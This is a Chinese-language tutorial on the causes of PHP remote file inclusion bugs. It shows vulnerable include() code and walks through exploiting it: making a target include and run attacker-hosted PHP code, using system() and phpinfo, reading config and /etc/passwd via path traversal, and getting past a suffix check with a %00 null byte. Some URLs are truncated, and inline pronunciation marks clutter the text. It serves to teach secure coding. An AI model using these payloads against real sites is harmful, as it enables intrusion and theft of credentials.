探討PHP遠(yuǎn)程文件包含漏洞產(chǎn)生原因
對(duì)于初級(jí)PHP程序員來說,對(duì)于PHP的安全性還不能完全掌握。首先我們需要了解致使程序漏洞的原理。下面我們就來介紹一下PHP遠(yuǎn)程文件包含漏洞的產(chǎn)生原因。#t#
首先的問題是,什么才是”遠(yuǎn)程文件包含漏洞“?簡要的回答是服務(wù)器通過PHP的任意文件包含過濾不嚴(yán),從而去執(zhí)行一個(gè)惡意文件,這是個(gè)程序員過濾上的問題,請(qǐng)記住,所有的cgi程序都有這樣的bug。
1.找出PHP遠(yuǎn)程文件包含漏洞bug:
為了發(fā)現(xiàn)目標(biāo),我們首先要知道包含兩個(gè)字的含義,在所有語言里(大多數(shù))都有這種方法包含任意的文件。在PHP里,我們使用include()函數(shù),它的工作流程:
如果你在Main.PHP里包含include1.PHP,我將這樣寫include("include1.PHP").不是很科學(xué),但你要知道其中的道理。
我們先看這個(gè),當(dāng)用戶輸入通過后就包含文件,也就是
- if ($_GET[page]) {
- include $_GET[page];
- } else {
- include "home.PHP";
- }
這種結(jié)構(gòu)在動(dòng)態(tài)網(wǎng)站里是常見的,問題是它允許這樣 [url]http://www.target.com/explame.PHP?page=main.PHP[/url] 或者[url]http://www.target.com/explame.PHP?page=downloads.PHP[/url]來查看。無論如何,如果你的程序里有這樣的bug也很悲哀了,只能怪你,盡管只是一句過濾的問題,但就是這一句過濾就有了Script hacker.在zone-h.org的調(diào)查里,文件包含的攻擊率占到9.4%,足夠我們引起重視,而且它也不是一兩天的問題,幾年前就有了,但到了今天,一批一批程序員依舊走老路重走,所以就有了這篇文章,在2004年寫這樣的文章已經(jīng)老掉牙,但我還是要寫,畢竟牢騷能讓人收益的時(shí)候就不叫牢騷了。
2.測試
這里有個(gè)遠(yuǎn)程文件包含的例子,目的只有一個(gè),為了你的程序安全,我們來看具體的
[url]http://www.target.com/explame.PHP?page=zizzy[/url]
Warning: main(zizzy): failed to open stream: No such file or directory in /var/www/htdocs/index.PHP on line 3
Warning: main(): Failed opening 'zizzy' for inclusion (include_path='.:/usr/local/lib/PHP') in /var/www/htdocs/index.PHP on line 3
PHP輸出的這些錯(cuò)誤信息告訴我們,程序去包含文件/var/www/htdocs/zizzy,但沒找到,看見了吧,No such file or directory沒這樣的文件,現(xiàn)在理解PHP遠(yuǎn)程文件包含漏洞了吧。
3.利用
PHP確實(shí)很好,可以遠(yuǎn)程調(diào)用文件,那我創(chuàng)建一個(gè)yeah.txt,放在我的站上[url]http://www.mysite.com/yeah.txt.[/url]內(nèi)容這樣
- < ?
- echo "Wow,test!";
- ?>
那么[url]http://www.target.com/explame.PHP?pa...e.com/yeah.txt[/url]
OK,回顯Wow,test!,這樣就執(zhí)行了。讀取config.PHP也不難吧,里面放了mysql密碼啊。把yeah.txt寫成<? PHPinfo; ?>看看,寫成system()去試試,有什么感想,在過分點(diǎn),這樣提交page=../../../../../../../etc/passwd。知道什么叫真正的包含了吧。
4.另一種PHP遠(yuǎn)程文件包含漏洞的原理
有時(shí)程序員換種寫法,寫成這樣,限制了包含范圍
- if ($_GET[page]) {
- include "$_GET[page].PHP";
- } else {
- include "home.PHP";
- }
我們提交[url]http://www.target.com/explame.PHP?pa...e.com/yeah.txt[/url]
Warning: main([url]http://www.mysite.com/yeah.txt.PHP[/url]): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /var/www/htdocs/explame.PHP on line 3
Warning: main(): Failed opening 'http://www.mysite.com/yeah.txt.PHP' for inclusion (include_path='.:/usr/local/lib/PHP') in /var/www/htdocs/explame.PHP on line 3
包含失敗了,限制了后綴名為PHP,那mysite.com的yeah.txt改為yeah.PHP,ok,照樣執(zhí)行了
那passwd怎么辦
Warning: main(../../../../../../../etc/passwd.PHP): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /var/www/htdocs/explame.PHP on line 3
Warning: main(): Failed opening '../../../../../../../etc/passwd.PHP' for inclusion (include_path='.:/usr/local/lib/PHP') in /var/www/htdocs/explame.PHP on line 3
在這里使用個(gè)NUL字符,也就是%00來跳過檢測
[url]http://www.target.com/explame.PHP?pa.../etc/passwd%00[/url]
看見了吧。
5.建議
包含文件時(shí)最好指定好包含哪一個(gè)文件,或者過濾好提交的的變量,這也就是這篇PHP遠(yuǎn)程文件包含漏洞文章的目的,不是寫給hacking的人看,而是寫給那些初涉程序員的人,這樣的文章網(wǎng)上很多,只要有人受益,也就達(dá)到目的了。